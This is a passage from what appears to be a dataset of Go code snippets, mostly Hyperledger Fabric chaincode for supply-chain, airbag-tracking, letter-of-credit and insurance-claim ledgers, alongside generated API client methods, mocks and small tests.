:5th argument must be a numeric string\"\n return nil, errors.New(jsonResp)\n\t}\npackageinfo.TempratureMax, err = strconv.Atoi(args[5])\nif err != nil {\n jsonResp = \"Error: 6th argument must be a numeric string \"\n return nil, errors.New(jsonResp)\n \t}\npackageinfo.PackageDes = args[6]\npackageinfo.PkgStatus = \"Label_Generated\"\n\n\n// populate package holder\nvar packageids_array PKG_Holder\npackageids_array.PkgIds = append(packageids_array.PkgIds , packageinfo.PkgId)\n\nbytes, err := json.Marshal(&packageids_array)\n\n// write to blockchain\nerr = stub.PutState(\"PkgIdsKey\", bytes)\nif err != nil {\n return nil, errors.New(\"Error writing to blockchain for PKG_Holder\")\n }\n\nbytes, err = json.Marshal(&packageinfo)\nif err != nil {\n fmt.Println(\"Could not marshal personal info object\", err)\n return nil, errors.New(\"Could not marshal personal info object\")\n }\n\n// write to blockchain\nerr = stub.PutState(\"1Z20170426\", bytes)\nif err != nil {\n return nil, errors.New(\"Error writing to blockchain for Package\")\n }\n\nreturn nil, nil\n}","func (t *IPDCChaincode) invoke_update_status_with_modification_check(stub shim.ChaincodeStubInterface, args []string, map_specification map[string]interface{}) pb.Response {\r\n\r\n\tfmt.Println(\"***********Entering invoke_update_status_with_modification_check***********\")\r\n\r\n\tif len(args) < 2 {\r\n\r\n\t\tfmt.Println(\"Error: Incorrect number of arguments\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Incorrect number of arguments\")\r\n\t}\r\n\r\n\tvar record_specification_input map[string]interface{}\r\n\r\n\tvar err error\r\n\r\n\terr = json.Unmarshal([]byte(args[0]), &record_specification_input)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in format of record.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error in format of record.\")\r\n\t}\r\n\r\n\tadditional_json, ok := map_specification[\"additional_json\"]\r\n\r\n\tif ok {\r\n\r\n\t\tadditional_json_data, ok1 := additional_json.(map[string]interface{})\r\n\r\n\t\tif ok1 {\r\n\r\n\t\t\tfor spec, _ := range additional_json_data {\r\n\r\n\t\t\t\trecord_specification_input[spec] = additional_json_data[spec]\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tfmt.Println(\"Error: Invalid additional JSON fields in specification\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error: Invalid additional JSON fields in specification\")\r\n\t\t}\r\n\t}\r\n\r\n\tvar keys_map interface{}\r\n\r\n\tvar specs map[string]interface{}\r\n\r\n\tkeys_map, error_keys_map := t.get_keys_map(stub, record_specification_input)\r\n\r\n\tif error_keys_map != nil {\r\n\r\n\t\tfmt.Println(error_keys_map.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(error_keys_map.Error())\r\n\t}\r\n\r\n\tspecs, ok = keys_map.(map[string]interface{})\r\n\r\n\tif !ok {\r\n\r\n\t\tfmt.Println(\"Error: Invalid keys_map specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Invalid keys_map specification.\")\r\n\t}\r\n\r\n\tif specs[\"primary_key\"] == nil {\r\n\r\n\t\tfmt.Println(\"Error: There is no primary key specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error : There is no primary key specification.\")\r\n\t}\r\n\r\n\tvar pk_spec []interface{}\r\n\r\n\tpk_spec, ok = specs[\"primary_key\"].([]interface{})\r\n\r\n\tif !ok {\r\n\r\n\t\tfmt.Println(\"Error in Primary key specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error in Primary key specification.\")\r\n\t}\r\n\r\n\tkey, err_key := t.createInterfacePrimaryKey(record_specification_input, pk_spec)\r\n\r\n\tif err_key != nil {\r\n\r\n\t\tfmt.Println(err_key.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(err_key.Error())\r\n\r\n\t}\r\n\r\n\tvar valAsBytes []byte\r\n\r\n\tvalAsBytes, err = stub.GetState(key)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error: Failed to get state: \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Failed to get state: \" + err.Error())\r\n\r\n\t} else if valAsBytes == nil {\r\n\r\n\t\tfmt.Println(\"Error: No value for primary key : \" + key)\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error: No value for key\")\r\n\r\n\t}\r\n\r\n\tvar record_specification map[string]interface{}\r\n\r\n\terr = json.Unmarshal([]byte(valAsBytes), &record_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in format of record\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error in format of record\")\r\n\r\n\t}\r\n\r\n\tvar check int\r\n\r\n\tcheck, err = t.Isfieldsmodified(record_specification_input, record_specification, map_specification)\r\n\r\n\tif check != 0 {\r\n\r\n\t\tfmt.Println(\"Status Update Failed due to error in modification check. \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Status Update Failed due to error in modification check. \" + err.Error())\r\n\t}\r\n\r\n\terr_del := t.delete_composite_keys(stub, specs, record_specification, key)\r\n\r\n\tif err_del != nil {\r\n\r\n\t\tfmt.Println(\"Error in deleting composite keys\" + err_del.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error in deleting composite keys\" + err_del.Error())\r\n\r\n\t}\r\n\r\n\tvar to_be_updated_map map[string]interface{}\r\n\r\n\terr = json.Unmarshal([]byte(args[1]), &to_be_updated_map)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in format of update map.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error in format of update map.\")\r\n\r\n\t}\r\n\r\n\tfor spec, spec_val := range to_be_updated_map {\r\n\r\n\t\tvar spec_val_string, spec_ok = spec_val.(string)\r\n\r\n\t\tif !spec_ok {\r\n\r\n\t\t\tfmt.Println(\"Error: Unable to parse value of status update\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error: Unable to parse value of status update\")\r\n\r\n\t\t}\r\n\r\n\t\tvar val_check, val_err = t.updatestatusvaliditycheck(spec, spec_val_string, map_specification)\r\n\r\n\t\tif val_check != 0 {\r\n\r\n\t\t\tfmt.Println(val_err.Error())\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\t\treturn shim.Error(val_err.Error())\r\n\t\t}\r\n\r\n\t\trecord_specification[spec] = spec_val_string\r\n\t}\r\n\r\n\tvar concatenated_record_json []byte\r\n\r\n\tconcatenated_record_json, err = json.Marshal(record_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error: Unable to Marshal Concatenated Record to JSON \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Unable to Marshal Concatenated Record to JSON \" + err.Error())\r\n\t}\r\n\r\n\terr = stub.PutState(key, []byte(concatenated_record_json))\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error: Failed to put state : \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Failed to put state : \" + err.Error())\r\n\t}\r\n\r\n\terr = t.create_composite_keys(stub, specs, record_specification, key)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in creating composite keys\" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error in creating composite keys\" + err.Error())\r\n\t}\r\n\r\n\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\treturn shim.Success(nil)\r\n\r\n}","func getChaincodeDeploymentSpec(spec *pb.ChaincodeSpec) (*pb.ChaincodeDeploymentSpec, error) {\n\tvar codePackageBytes []byte\n\tvar err error\n\tif err = checkSpec(spec); err != nil {\n\t\treturn nil, err\n\t}\n\n\tcodePackageBytes, err = container.GetChaincodePackageBytes(spec)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"Error getting chaincode package bytes: %s\", err)\n\t\treturn nil, err\n\t}\n fmt.Printf(\"%s\", codePackageBytes)\n\tchaincodeDeploymentSpec := &pb.ChaincodeDeploymentSpec{ChaincodeSpec: spec, CodePackage: codePackageBytes}\n\treturn chaincodeDeploymentSpec, nil\n}","func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\t\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfunction =strings.ToLower(function)\n\t// check role validity\n\tvar role []string\n\trole = strings.Split(args[0],\".\")\n\t//var err error\n\t// check and map roles here\n\t//serializedID,err := stub.GetCreator()\n\tmymap,err := stub.GetCreator()\n\tif err != nil{\n\t\treturn shim.Error(err.Error())\n\t}\n\tfmt.Println(mymap)\n\t//sid := &msp.SerializedIdentity{}\n\t//payload,_:= utils.GetHeader(mymap)\n\tsign,err1 := stub.GetSignedProposal()\n\tif err1 != nil{\n\t\treturn shim.Error(err.Error())\n\t}\n\t//sign.Reset()\n\tsign.Signature = mymap\n\tfmt.Println(sign.Signature)\n\tvar str string = sign.String()\n\tfmt.Println(str)\n\tvar beg string = \"-----BEGIN CERTIFICATE-----\"\n\tvar end string = \"-----END CERTIFICATE-----\"\n\tcerlVal:= strings.ReplaceAll(beg+ strings.Split(strings.Split(str,beg)[2],end)[0]+end,\"\\\\n\",\"\\n\")\n\tfmt.Println([]byte(cerlVal))\n\tblock,_:= pem.Decode([]byte(cerlVal))\n\tif block == nil{\n\t\treturn shim.Error(fmt.Sprintf(\"Pem parsing error %f\\n\",block.Bytes))\n\t}\n\tfmt.Println(block.Bytes)\n\tcert,err2 := x509.ParseCertificate(block.Bytes)\n \tif err2 != nil{\n\t\treturn shim.Error(err2.Error())\n\t}\n\tif len(role) != 2 {\n \treturn shim.Error(fmt.Sprintf(\"Role format not correct \"))\n\t}\n\tfmt.Println(cert.Subject.CommonName)\n\tif cert.Subject.CommonName != args[0]{\n\t\treturn shim.Error(fmt.Sprintf(\"Certificate doesn't match given role, exiting immediately\"))\n\t}\n\t\n\t/*id,_ := stub.GetCreator()\n\tcert,err := x509.ParseCertificate(id)\n\tif cert == nil || err != nil{\n\t\treturn shim.Error(string(cert.RawSubject))\n\t}\n\tif len(role)!=2 {\n\t\treturn shim.Error(string(id))\n\t}*/\n\tif function == \"addairbag\" {\n\t\t// Adds an airbag to the ledger\n\t\treturn t.addairbag(stub, args)\n\t}\n\n\tif function == \"transferairbag\" {\n\t\t// transfers an airbag to another manufacturer\n\t\treturn t.transferairbag(stub, args)\n\t}\n\tif function == \"mountairbag\" {\n\t\t// mounts an airbag into a car\n\t\treturn t.mountairbag(stub, args)\n\t}\n\n\tif function == \"replaceairbag\" {\n\t\t// replaces an airbag in a car\n\t\treturn t.replaceairbag(stub, args)\n\t}\n\tif function == \"recallairbag\" {\n\t\t// Recalls an airbag\n\t\treturn t.recallairbag(stub, args)\n\t}\n\tif function == \"checkairbag\" {\n\t\t// Checks an airbag in a car\n\t\treturn t.checkairbag(stub, args)\n\t}\n\tif function == \"query\" {\n\t\t// Checks an airbag in a car\n\t\treturn t.queryHistory(stub, args)\n\t}\n\treturn shim.Error(fmt.Sprintf(\"Unknown action, check the first argument, must be one of 'addairbag', 'transferairbag','mountairbag','replaceairbag','recallairbag', or 'checkairbag'. But got: %v\", function))\n}","func (s *SmartContract) updateCarrier(APIstub shim.ChaincodeStubInterface, args []string) sc.Response {\n \n\t lcID := struct {\n\t\t\t LcID string `json:\"lcID\"`\t\n\t\t\t Carrier string \t`json:\"carrier\"`\n\t }{}\n \n\t err := json.Unmarshal([]byte(args[0]),&lcID)\n\t if err != nil {\n\t\t\t return shim.Error(\"Not able to parse args into LC\")\n\t }\n \n\t LCAsBytes, _ := APIstub.GetState(lcID.LcID)\n\t var lc LetterOfCredit\n\t err = json.Unmarshal(LCAsBytes, &lc)\n\t if err != nil {\n\t\t\t return shim.Error(\"Issue with LC json unmarshaling\")\n\t }\n \n\t // Verify that the LC has been agreed to\n\t if lc.Status != \"Accepted\" {\n\t\t fmt.Printf(\"Letter of Credit request for trade %s accepted\\n\", lcID.LcID)\n\t\t return shim.Error(\"LC has not been accepted by the parties\")\n\t }\n \n\t // LC := LetterOfCredit{LCId: lc.LCId, ExpiryDate: lc.ExpiryDate, Buyer: lc.Buyer, SellerBank: lc.SellerBank, Seller: lc.Seller, Amount: lc.Amount, Status: \"Rejected\", BuyerBank: lc.BuyerBank}\n\t LC := LetterOfCredit{LCId: lc.LCId, ExpiryDate: lc.ExpiryDate, Buyer: lc.Buyer, SellerBank: lc.SellerBank, Seller: lc.Seller, Amount: lc.Amount,Carrier : lcID.Carrier , Status: \"ReadyforShip\"}\n\t LCBytes, err := json.Marshal(LC)\n\t if err != nil {\n\t\t\t return shim.Error(\"Issue with LC json marshaling\")\n\t }\n \n\t APIstub.PutState(lc.LCId,LCBytes)\n\t fmt.Println(\"LC UpdateCarrier -> \", LC)\n \n\t return shim.Success(nil)\n }","func (o *PatchManagementEntitiesMoidDefault) Code() int {\n\treturn o._statusCode\n}","func Test_Client_MapByCallingCode(t *testing.T) {\n\tret := mockClient.MapByCallingCode(\"65\")\n\tassert.Equal(t, ret[0].Name, \"Singapore\")\n}","func Test_Errorcode_Build(t *testing.T) {\n\n\terrorCode := uerrors.NewCodeErrorWithPrefix(\"test\", \"test0001\")\n\n\terrorCode.WithMsgBody(\"this is error message content with param.\")\n\terrorCode.WithMsgBody(\"params: ${p1} , ${p2} , ${p3}.\")\n\n\t//log.Printf()\n\n\tres := errorCode.Build(\"hello-message \", \"my deal-other \", \"define\")\n\tfmt.Println(res)\n\n\tfmt.Println(\"case 2\")\n\tres = errorCode.Build(\"hello-message2 \", \"my deal-other2 \", \"define2\")\n\tfmt.Println(res)\n\n}","func newResponse(regex string, code int) Response {\n\tr := Response{Code: code}\n\tr.Regex = regexp.MustCompile(regex)\n\treturn r\n}","func (t *SimpleChaincode) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, args := stub.GetFunctionAndParameters()\n\tfmt.Println(\"invoke is running \" + function)\n\n\t// Handle different functions\n\tif function == \"init\" { //initialize the chaincode state, used as reset\n\t\treturn t.Init(stub)\n\t} else if function == \"write\" {\n\t\treturn t.write(stub, args) //writes a value to the chaincode state\n\n\t} else if function == \"read\" {\n\t\treturn t.read(stub, args) //writes a value to the chaincode state\n\n\t} else if function==\"consignmentDetail\"{\n return t.consignmentDetail(stub, args)\n \n\t} else if function == \"notifyClaim\" { //writes claim details with status notified in ledger\n\t\treturn t.notifyClaim(stub, args)\n\n\t} else if function == \"createClaim\" { //writes claim details with status approved in ledger\n\t\treturn t.createClaim(stub, args)\n\n\t} else if function == \"Delete\" { //deletes an entity from its state\n\t\treturn t.Delete(stub, args)\n\n\t} else if function == \"UploadDocuments\" { //upload the dcument hash value \n\t\treturn t.UploadDocuments(stub, args)\n\n\t} else if function == \"rejectClaim\" { //upload the dcument hash value \n return t.rejectClaim(stub, args)\n\n } else if function == \"ExamineClaim\" { //Examine and updtaes the claim with status examined\n\t\treturn t.ExamineClaim(stub, args)\n\n\t} else if function == \"ClaimNegotiation\" { //claim negotiations takes place between public adjuster and claim adjuster\n\t\treturn t.ClaimNegotiation(stub, args)\n\n\t} else if function == \"approveClaim\" { //after negotiation claim amount is finalised and approved\n\t\treturn t.approveClaim(stub, args)\n\n\t} else if function == \"settleClaim\" { //after negotiation claim amount is finalised and approved\n\t\treturn t.settleClaim(stub, args)\n\n\t}\n\n\tfmt.Println(\"invoke did not find func: \" + function)\n\n\treturn shim.Error(\"Received unknown invoke function name - '\" + function + \"'\")\n}","func (s *SmartContract) issueLC(APIstub shim.ChaincodeStubInterface, args []string) sc.Response {\n \n\t lcID := struct {\n\t\t LcID string `json:\"lcID\"`\n\t }{}\n\t err := json.Unmarshal([]byte(args[0]),&lcID)\n\t if err != nil {\n\t\t return shim.Error(\"Not able to parse args into LCID\")\n\t }\n\t \n\t // if err != nil {\n\t // \treturn shim.Error(\"No Amount\")\n\t // }\n \n\t LCAsBytes, _ := APIstub.GetState(lcID.LcID)\n \n\t var lc LetterOfCredit\n \n\t err = json.Unmarshal(LCAsBytes, &lc)\n \n\t if err != nil {\n\t\t return shim.Error(\"Issue with LC json unmarshaling\")\n\t }\n \n // Verify that the LC is already in Progress before Issueing \n\tif (lc.Status == \"Accepted\" || lc.Status == \"Rejected\" || lc.Status == \"ReadyforShip\" || lc.Status == \"Shipped\" ||lc.Status == \"Paid-AWB\"){\n\t\tfmt.Printf(\"Letter of Credit request for trade %s is already In Process\\n\", lcID.LcID)\n\t\treturn shim.Error(\"Letter of Credit request#: is already In Process, Operation Not Allowed\" )\n\t}\n\t LC := LetterOfCredit{LCId: lc.LCId, ExpiryDate: lc.ExpiryDate, Buyer: lc.Buyer, BuyerBank: lc.BuyerBank,SellerBank: lc.SellerBank, Seller: lc.Seller, Amount: lc.Amount, Status: \"Issued\"}\n\t LCBytes, err := json.Marshal(LC)\n \n\t if err != nil {\n\t\t return shim.Error(\"Issue with LC json marshaling\")\n\t }\n \n\t APIstub.PutState(lc.LCId,LCBytes)\n\t fmt.Println(\"LC Issued -> \", LC)\n \n \n\t return shim.Success(nil)\n }","func (ac *applicationController) ModifyRegistrationDetails(accounts models.Accounts, w http.ResponseWriter, r *http.Request) {\n\t// swagger:operation PATCH /applications/{appName} application modifyRegistrationDetails\n\t// ---\n\t// summary: Updates specific field(s) of an application registration\n\t// parameters:\n\t// - name: appName\n\t// in: path\n\t// description: Name of application\n\t// type: string\n\t// required: true\n\t// - name: patchRequest\n\t// in: body\n\t// description: Request for Application to patch\n\t// required: true\n\t// schema:\n\t// \"$ref\": \"#/definitions/ApplicationRegistrationPatchRequest\"\n\t// - name: Impersonate-User\n\t// in: header\n\t// description: Works only with custom setup of cluster. Allow impersonation of test users (Required if Impersonate-Group is set)\n\t// type: string\n\t// required: false\n\t// - name: Impersonate-Group\n\t// in: header\n\t// description: Works only with custom setup of cluster. Allow impersonation of test group (Required if Impersonate-User is set)\n\t// type: array\n\t// items:\n\t// type: string\n\t// required: false\n\t// responses:\n\t// \"200\":\n\t// description: Modifying registration operation details\n\t// schema:\n\t// \"$ref\": \"#/definitions/ApplicationRegistrationUpsertResponse\"\n\t// \"400\":\n\t// description: \"Invalid application\"\n\t// \"401\":\n\t// description: \"Unauthorized\"\n\t// \"404\":\n\t// description: \"Not found\"\n\t// \"409\":\n\t// description: \"Conflict\"\n\tappName := mux.Vars(r)[\"appName\"]\n\n\tvar applicationRegistrationPatchRequest applicationModels.ApplicationRegistrationPatchRequest\n\tif err := json.NewDecoder(r.Body).Decode(&applicationRegistrationPatchRequest); err != nil {\n\t\tradixhttp.ErrorResponse(w, r, err)\n\t\treturn\n\t}\n\n\t// Need in cluster Radix client in order to validate registration using sufficient privileges\n\thandler := ac.applicationHandlerFactory(accounts)\n\tappRegistrationUpsertResponse, err := handler.ModifyRegistrationDetails(r.Context(), appName, applicationRegistrationPatchRequest)\n\tif err != nil {\n\t\tradixhttp.ErrorResponse(w, r, err)\n\t\treturn\n\t}\n\n\tradixhttp.JSONResponse(w, r, &appRegistrationUpsertResponse)\n}","func (m *PaymentTerm) SetCode(value *string)() {\n err := m.GetBackingStore().Set(\"code\", value)\n if err != nil {\n panic(err)\n }\n}","func (f *CreateBundleReply) Code() FrameCode {\n\treturn FrameCreateBundle\n}","func (*InvokeScriptResult_Reissue) Descriptor() ([]byte, []int) {\n\treturn file_waves_invoke_script_result_proto_rawDescGZIP(), []int{0, 2}\n}","func (o *PatchServiceAccountTokenNotFound) Code() int {\n\treturn 404\n}","func (o *PatchEquipmentIoExpandersMoidDefault) Code() int {\n\treturn o._statusCode\n}","func Code(w http.ResponseWriter, r *http.Request) {\n\tfilter, queryErr := getFilter(r)\n\tvar response string\n\tif queryErr != nil {\n\t\tresponse = `QUERY ERROR\\n` + queryErr.Error()\n\t} else {\n\t\tdumpcapOut, dumpcapErr := callDumpcap(filter)\n\t\tif dumpcapErr != nil {\n\t\t\tresponse = dumpcapErr.Error()\n\t\t} else {\n\t\t\tresponse = \"(000)\" + strings.SplitN(string(dumpcapOut), \"(000)\", 2)[1]\n\t\t}\n\t}\n\tw.Write([]byte(response + \"\\n\"))\n}","func (o *PatchOpsNoteByIDDefault) Code() int {\n\treturn o._statusCode\n}","func (o *PatchServiceAccountTokenDefault) Code() int {\n\treturn o._statusCode\n}","func makeDescription(draconResult map[string]string, extras []string) string {\n\tdesc := \"This issue was automatically generated by the Dracon security pipeline.\\n\\n\" +\n\t\t\"*\" + draconResult[\"description\"] + \"*\" + \"\\n\\n\"\n\n\t// Append the extra fields to the description\n\tif len(extras) > 0 {\n\t\tdesc = desc + \"{code:}\" + \"\\n\"\n\t\tfor _, s := range extras {\n\t\t\tdesc = desc + fmt.Sprintf(\"%s: %*s\\n\", s, 25-len(s)+len(draconResult[s]), draconResult[s])\n\t\t}\n\t\tdesc = desc + \"{code}\" + \"\\n\"\n\t}\n\treturn desc\n}","func Return(ctx *gin.Context, code status.Code, data interface{}) {\n\tResponse(ctx, http.StatusOK, int(code), code.String(), data)\n}","func (o *PatchAddonDefault) Code() int {\n\treturn o._statusCode\n}","func (a *Client) PatchAttributesCode(params *PatchAttributesCodeParams) (*PatchAttributesCodeCreated, *PatchAttributesCodeNoContent, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewPatchAttributesCodeParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"patch_attributes__code_\",\n\t\tMethod: \"PATCH\",\n\t\tPathPattern: \"/api/rest/v1/attributes/{code}\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\"},\n\t\tParams: params,\n\t\tReader: &PatchAttributesCodeReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tswitch value := result.(type) {\n\tcase *PatchAttributesCodeCreated:\n\t\treturn value, nil, nil\n\tcase *PatchAttributesCodeNoContent:\n\t\treturn nil, value, nil\n\t}\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for attribute: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}","func EncodeGrpcRespWorkloadSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}","func (mmDeployCode *mClientMockDeployCode) Return(ip1 *insolar.ID, err error) *ClientMock {\n\tif mmDeployCode.mock.funcDeployCode != nil {\n\t\tmmDeployCode.mock.t.Fatalf(\"ClientMock.DeployCode mock is already set by Set\")\n\t}\n\n\tif mmDeployCode.defaultExpectation == nil {\n\t\tmmDeployCode.defaultExpectation = &ClientMockDeployCodeExpectation{mock: mmDeployCode.mock}\n\t}\n\tmmDeployCode.defaultExpectation.results = &ClientMockDeployCodeResults{ip1, err}\n\treturn mmDeployCode.mock\n}","func (*ResponseProductCodes) Descriptor() ([]byte, []int) {\n\treturn file_response_product_codes_proto_rawDescGZIP(), []int{0}\n}","func (t *IPDCChaincode) query_update_status(stub shim.ChaincodeStubInterface, args []string, map_specification map[string]interface{}) pb.Response {\r\n\r\n\tfmt.Println(\"***********Entering query_update_status***********\")\r\n\r\n\t//var arguments []string\r\n\r\n\tvar pageno int\r\n\r\n\tif len(args) < 1 {\r\n\r\n\t\tfmt.Println(\"Error: Incorrect number of arguments\")\r\n\r\n\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Incorrect number of arguments\")\r\n\t}\r\n\r\n\tvar record_specification map[string]interface{}\r\n\r\n\terr := json.Unmarshal([]byte(args[0]), &record_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in format of record\")\r\n\r\n\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error in format of record\")\r\n\t}\r\n\r\n\tif len(record_specification) != 1 {\r\n\r\n\t\tfmt.Println(\"Input should contain only one status\")\r\n\r\n\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Input should contain only one status\")\r\n\t}\r\n\r\n\tif len(args) < 2 {\r\n\r\n\t\tpageno = 1\r\n\r\n\t} else {\r\n\r\n\t\tpageno, err = strconv.Atoi(args[1])\r\n\r\n\t\tif err != nil {\r\n\r\n\t\t\tfmt.Println(\"Error parsing page number \" + err.Error())\r\n\r\n\t\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error parsing page number \" + err.Error())\r\n\r\n\t\t} else if pageno < 1 {\r\n\r\n\t\t\tfmt.Println(\"Invalid page number\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\t\treturn shim.Error(\"Invalid page number\")\r\n\t\t}\r\n\r\n\t}\r\n\r\n\tadditional_json, ok := map_specification[\"additional_json\"]\r\n\r\n\tvar additional_json_data map[string]interface{}\r\n\r\n\tif ok {\r\n\r\n\t\tvar ok1 bool\r\n\r\n\t\tadditional_json_data, ok1 = additional_json.(map[string]interface{})\r\n\r\n\t\tif !ok1 {\r\n\r\n\t\t\tfmt.Println(\"Invalid additional JSON fields in specification\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\t\treturn shim.Error(\"Invalid additional JSON fields in specification\")\r\n\t\t}\r\n\t}\r\n\r\n\tvar keys_map interface{}\r\n\r\n\tvar specs map[string]interface{}\r\n\r\n\tkeys_map, error_keys_map := t.get_keys_map(stub, additional_json_data)\r\n\r\n\tif error_keys_map != nil {\r\n\r\n\t\tfmt.Println(error_keys_map.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\treturn shim.Error(error_keys_map.Error())\r\n\t}\r\n\r\n\tspecs, ok = keys_map.(map[string]interface{})\r\n\r\n\tif !ok {\r\n\r\n\t\tfmt.Println(\"Invalid keys map specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Invalid keys map specification.\")\r\n\t}\r\n\r\n\tvar composite_key = make(map[string]interface{})\r\n\r\n\tfor spec, _ := range record_specification {\r\n\r\n\t\tcomposite_key[spec], ok = specs[spec]\r\n\r\n\t\tif !ok {\r\n\t\t\tfmt.Println(\"Composite key specification missing\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\t\t\treturn shim.Error(\"Composite key specification missing\")\r\n\t\t}\r\n\t}\r\n\r\n\tfor spec, _ := range additional_json_data {\r\n\r\n\t\trecord_specification[spec] = additional_json_data[spec]\r\n\t}\r\n\r\n\t//compositekeyJsonString, err_marshal := json.Marshal(composite_key)\r\n\r\n\t//if (err_marshal != nil) {\r\n\r\n\t//\tfmt.Println(\"Error in marshaling composite key\")\r\n\r\n\t//\treturn shim.Error(\"Error in marshaling composite key\")\r\n\t//}\r\n\r\n\t//var concatenated_record_json []byte\r\n\r\n\t//concatenated_record_json, err_marshal = json.Marshal(record_specification)\r\n\r\n\t//if(err_marshal != nil) {\r\n\r\n\t//\tfmt.Println(\"Unable to Marshal Concatenated Record to JSON\")\r\n\r\n\t//\treturn shim.Error(\"Unable to Marshal Concatenated Record to JSON\")\r\n\t//}\r\n\r\n\t//arguments = append(arguments, string(concatenated_record_json))\r\n\r\n\t//arguments = append(arguments, string(compositekeyJsonString))\r\n\r\n\t//return t.query_by_composite_key(stub, arguments, pageno)\r\n\r\n\tfmt.Println(\"***********Exiting query_update_status***********\")\r\n\r\n\treturn t.query_by_composite_key(stub, record_specification, composite_key, pageno)\r\n\r\n}","func (t *myChaincode) Invoke(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n switch function {\n\n case \"create\":\n if len(args) < 4{\n return nil, errors.New(\"create operation must include at last four arguments, a uuid , a from , a to and timestamp\")\n }\n // get the args\n uuid := args[0]\n fromid := args[1]\n toid := args[2]\n timestamp := args[3]\n metadata := args[4]\n history := fromid\n owner := fromid\n status := \"0\"\n createtm := timestamp\n submittm := \"0\"\n confirmtm := \"0\"\n\n //TODO: need some check for fromid and data\n //check fromid and toid\n if fromid == toid {\n return nil, errors.New(\"create operation failed, fromid is same with toid\")\n }\n //do some check for the 